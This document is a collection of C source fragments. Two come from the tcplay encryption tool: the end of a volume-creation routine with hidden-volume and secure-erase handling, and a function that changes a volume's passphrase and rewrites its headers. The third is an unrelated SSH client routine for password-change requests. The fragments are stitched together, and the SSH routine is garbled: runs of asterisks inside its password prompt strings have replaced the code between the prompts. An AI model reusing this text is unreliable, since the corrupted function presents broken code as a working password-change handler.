(hidden_blocks == 0) { if ((r = _humanize_number(buf, sizeof(buf), (uint64_t)(blocks * blksz))) < 0) { sprintf(buf, "%"DISKSZ_FMT" bytes", (blocks * blksz)); } printf("The total volume size of %s is %s (bytes)\n", opts->dev, buf); memset(buf, 0, sizeof(buf)); printf("Size of hidden volume (e.g. 127M): "); fflush(stdout); if ((fgets(buf, sizeof(buf), stdin)) == NULL) { tc_log(1, "Could not read from stdin\n"); goto out; } /* get rid of trailing newline */ buf[strlen(buf)-1] = '\0'; if ((error = _dehumanize_number(buf, &tmp)) != 0) { tc_log(1, "Could not interpret input: %s\n", buf); continue; } if (tmp >= (blocks*blksz) - MIN_VOL_BYTES) { tc_log(1, "Hidden volume needs to be " "smaller than the outer volume\n"); hidden_blocks = 0; continue; } hidden_blocks = (size_t)tmp; hidden_blocks /= blksz; } } if (opts->interactive) { /* Show summary and ask for confirmation */ printf("Summary of actions:\n"); if (opts->secure_erase) printf(" - Completely erase *EVERYTHING* on %s\n", opts->dev); printf(" - Create %svolume on %s\n", opts->hidden?("outer "):"", opts->dev); if (opts->hidden) { printf(" - Create hidden volume of %"DISKSZ_FMT" bytes at end of " "outer volume\n", hidden_blocks * blksz); } printf("\n Are you sure you want to proceed? (y/n) "); fflush(stdout); if ((fgets(buf, sizeof(buf), stdin)) == NULL) { tc_log(1, "Could not read from stdin\n"); goto out; } if ((buf[0] != 'y') && (buf[0] != 'Y')) { tc_log(1, "User cancelled action(s)\n"); goto out; } } /* erase volume */ if (opts->secure_erase) { tc_log(0, "Securely erasing the volume...\nThis process may take " "some time depending on the size of the volume\n"); if (opts->state_change_fn) opts->state_change_fn(opts->api_ctx, "secure_erase", 1); if ((error = secure_erase(opts->dev, blocks * blksz, blksz)) != 0) { tc_log(1, "could not securely erase device %s\n", opts->dev); goto out; } if (opts->state_change_fn) opts->state_change_fn(opts->api_ctx, "secure_erase", 0); } tc_log(0, "Creating volume headers...\nDepending on your system, this " "process may take a few minutes as it uses true random data which " "might take a while to refill\n"); if (opts->weak_keys_and_salt) { tc_log(0, "WARNING: Using a weak random generator to get " "entropy for the key material. Odds are this is NOT " "what you want.\n"); } if (opts->state_change_fn) opts->state_change_fn(opts->api_ctx, "create_header", 1); /* create encrypted headers */ ehdr = create_hdr((unsigned char *)pass, (opts->nkeyfiles > 0)?MAX_PASSSZ:strlen(pass), opts->prf_algo, opts->cipher_chain, blksz, blocks, VOL_RSVD_BYTES_START/blksz, blocks - (MIN_VOL_BYTES/blksz), 0, opts->weak_keys_and_salt, &ehdr_backup); if (ehdr == NULL) { tc_log(1, "Could not create header\n"); goto out; } if (opts->hidden) { hehdr = create_hdr((unsigned char *)h_pass, (opts->n_hkeyfiles > 0)?MAX_PASSSZ:strlen(h_pass), opts->h_prf_algo, opts->h_cipher_chain, blksz, blocks, blocks - (VOL_RSVD_BYTES_END/blksz) - hidden_blocks, hidden_blocks, 1, opts->weak_keys_and_salt, &hehdr_backup); if (hehdr == NULL) { tc_log(1, "Could not create hidden volume header\n"); goto out; } } if (opts->state_change_fn) opts->state_change_fn(opts->api_ctx, "create_header", 0); tc_log(0, "Writing volume headers to disk...\n"); if ((error = write_to_disk(opts->dev, 0, blksz, ehdr, sizeof(*ehdr))) != 0) { tc_log(1, "Could not write volume header to device\n"); goto out; } /* Write backup header; it's offset is relative to the end */ if ((error = write_to_disk(opts->dev, (blocks*blksz - BACKUP_HDR_OFFSET_END), blksz, ehdr_backup, sizeof(*ehdr_backup))) != 0) { tc_log(1, "Could not write backup volume header to device\n"); goto out; } if (opts->hidden) { if ((error = write_to_disk(opts->dev, HDR_OFFSET_HIDDEN, blksz, hehdr, sizeof(*hehdr))) != 0) { tc_log(1, "Could not write hidden volume header to " "device\n"); goto out; } /* Write backup hidden header; offset is relative to end */ if ((error = write_to_disk(opts->dev, (blocks*blksz - BACKUP_HDR_HIDDEN_OFFSET_END), blksz, hehdr_backup, sizeof(*hehdr_backup))) != 0) { tc_log(1, "Could not write backup hidden volume " "header to device\n"); goto out; } } /* Everything went ok */ tc_log(0, "All done!\n"); ret = 0; out: if (pass) free_safe_mem(pass); if (h_pass) free_safe_mem(h_pass); if (pass_again) free_safe_mem(pass_again); if (ehdr) free_safe_mem(ehdr); if (hehdr) free_safe_mem(hehdr); if (ehdr_backup) free_safe_mem(ehdr_backup); if (hehdr_backup) free_safe_mem(hehdr_backup); return ret; }
int modify_volume(struct tcplay_opts *opts) { struct tcplay_info *info; struct tchdr_enc *ehdr, *ehdr_backup; const char *new_passphrase = opts->new_passphrase; const char **new_keyfiles = opts->new_keyfiles; struct pbkdf_prf_algo *new_prf_algo = opts->new_prf_algo; int n_newkeyfiles = opts->n_newkeyfiles; char *pass, *pass_again; int ret = -1; off_t offset, offset_backup = 0; const char *dev; size_t blksz; disksz_t blocks; int error; ehdr = ehdr_backup = NULL; pass = pass_again = NULL; info = NULL; if (TC_FLAG_SET(opts->flags, ONLY_RESTORE)) { if (opts->interactive) { if ((pass = alloc_safe_mem(PASS_BUFSZ)) == NULL) { tc_log(1, "could not allocate safe " "passphrase memory"); goto out; } } else { new_passphrase = opts->passphrase; } new_keyfiles = opts->keyfiles; n_newkeyfiles = opts->nkeyfiles; new_prf_algo = NULL; } info = info_map_common(opts, pass); if (info == NULL) goto out; if (opts->interactive && !TC_FLAG_SET(opts->flags, ONLY_RESTORE)) { if (((pass = alloc_safe_mem(PASS_BUFSZ)) == NULL) || ((pass_again = alloc_safe_mem(PASS_BUFSZ)) == NULL)) { tc_log(1, "could not allocate safe passphrase memory\n"); goto out; } if ((error = read_passphrase("New passphrase: ", pass, MAX_PASSSZ, PASS_BUFSZ, 0) || (read_passphrase("Repeat passphrase: ", pass_again, MAX_PASSSZ, PASS_BUFSZ, 0)))) { tc_log(1, "could not read passphrase\n"); goto out; } if (strcmp(pass, pass_again) != 0) { tc_log(1, "Passphrases don't match\n"); goto out; } free_safe_mem(pass_again); pass_again = NULL; } else if (!opts->interactive) { /* In batch mode, use provided passphrase */ if ((pass = alloc_safe_mem(PASS_BUFSZ)) == NULL) { tc_log(1, "could not allocate safe " "passphrase memory"); goto out; } if (new_passphrase != NULL) { strncpy(pass, new_passphrase, MAX_PASSSZ); pass[MAX_PASSSZ] = '\0'; } } if (n_newkeyfiles > 0) { /* Apply keyfiles to 'pass' */ if ((error = apply_keyfiles((unsigned char *)pass, PASS_BUFSZ, new_keyfiles, n_newkeyfiles))) { tc_log(1, "could not apply keyfiles\n"); goto out; } } ehdr = copy_reencrypt_hdr((unsigned char *)pass, (opts->n_newkeyfiles > 0)?MAX_PASSSZ:strlen(pass), new_prf_algo, opts->weak_keys_and_salt, info, &ehdr_backup); if (ehdr == NULL) { tc_log(1, "Could not create header\n"); goto out; } dev = (TC_FLAG_SET(opts->flags, SYS)) ? opts->sys_dev : opts->dev; if (TC_FLAG_SET(opts->flags, SYS) || TC_FLAG_SET(opts->flags, FDE)) { /* SYS and FDE don't have backup headers (as far as I understand) */ if (info->hidden) { offset = HDR_OFFSET_HIDDEN; } else { offset = HDR_OFFSET_SYS; } } else { if (info->hidden) { offset = HDR_OFFSET_HIDDEN; offset_backup = -BACKUP_HDR_HIDDEN_OFFSET_END; } else { offset = 0; offset_backup = -BACKUP_HDR_OFFSET_END; } } if ((error = get_disk_info(dev, &blocks, &blksz)) != 0) { tc_log(1, "could not get disk information\n"); goto out; } tc_log(0, "Writing new volume headers to disk/file...\n"); if (TC_FLAG_SET(opts->flags, SAVE_TO_FILE)) { if ((error = write_to_file(opts->hdr_file_out, ehdr, sizeof(*ehdr))) != 0) { tc_log(1, "Could not write volume header to file\n"); goto out; } } else { if ((error = write_to_disk(dev, offset, blksz, ehdr, sizeof(*ehdr))) != 0) { tc_log(1, "Could not write volume header to device\n"); goto out; } if (!TC_FLAG_SET(opts->flags, SYS) && !TC_FLAG_SET(opts->flags, FDE)) { if ((error = write_to_disk(dev, offset_backup, blksz, ehdr_backup, sizeof(*ehdr_backup))) != 0) { tc_log(1, "Could not write backup volume header to device\n"); goto out; } } } /* Everything went ok */ tc_log(0, "All done!\n"); ret = 0; out: if (pass) free_safe_mem(pass); if (pass_again) free_safe_mem(pass_again); if (ehdr) free_safe_mem(ehdr); if (ehdr_backup) free_safe_mem(ehdr_backup); if (info) free_safe_mem(info); return ret; }
/* * parse PASSWD_CHANGEREQ, prompt user and send SSH2_MSG_USERAUTH_REQUEST */ void input_userauth_passwd_changereq(int type, u_int32_t seqnr, void *ctxt) { Authctxt *authctxt = ctxt; char *info, *lang, *password = NULL, *retype = NULL; char prompt[150]; debug2("input_userauth_passwd_changereq"); if (authctxt == NULL) fatal("input_userauth_passwd_changereq: " "no authentication context"); info = packet_get_utf8_string(NULL); if (strlen(info) != 0) { info = g11n_filter_string(info); log("%s", info); } xfree(info); lang = packet_get_string(NULL); xfree(lang); packet_start(SSH2_MSG_USERAUTH_REQUEST); packet_put_cstring(authctxt->server_user); packet_put_cstring(authctxt->service); packet_put_cstring(authctxt->method->name); packet_put_char(1); /* additional info */ snprintf(prompt, sizeof(prompt), gettext("Enter %.30s@%.128s's old password: "******"Enter %.30s@%.128s's new password: "******"Retype %.30s@%.128s's new password: "******"Mismatch; try again, EOF to quit."); password = NULL; } memset(retype, 0, strlen(retype)); xfree(retype); } packet_put_cstring(password); memset(password, 0, strlen(password)); xfree(password); packet_add_padding(64); packet_send(); dispatch_set(SSH2_MSG_USERAUTH_PASSWD_CHANGEREQ, &input_userauth_passwd_changereq); }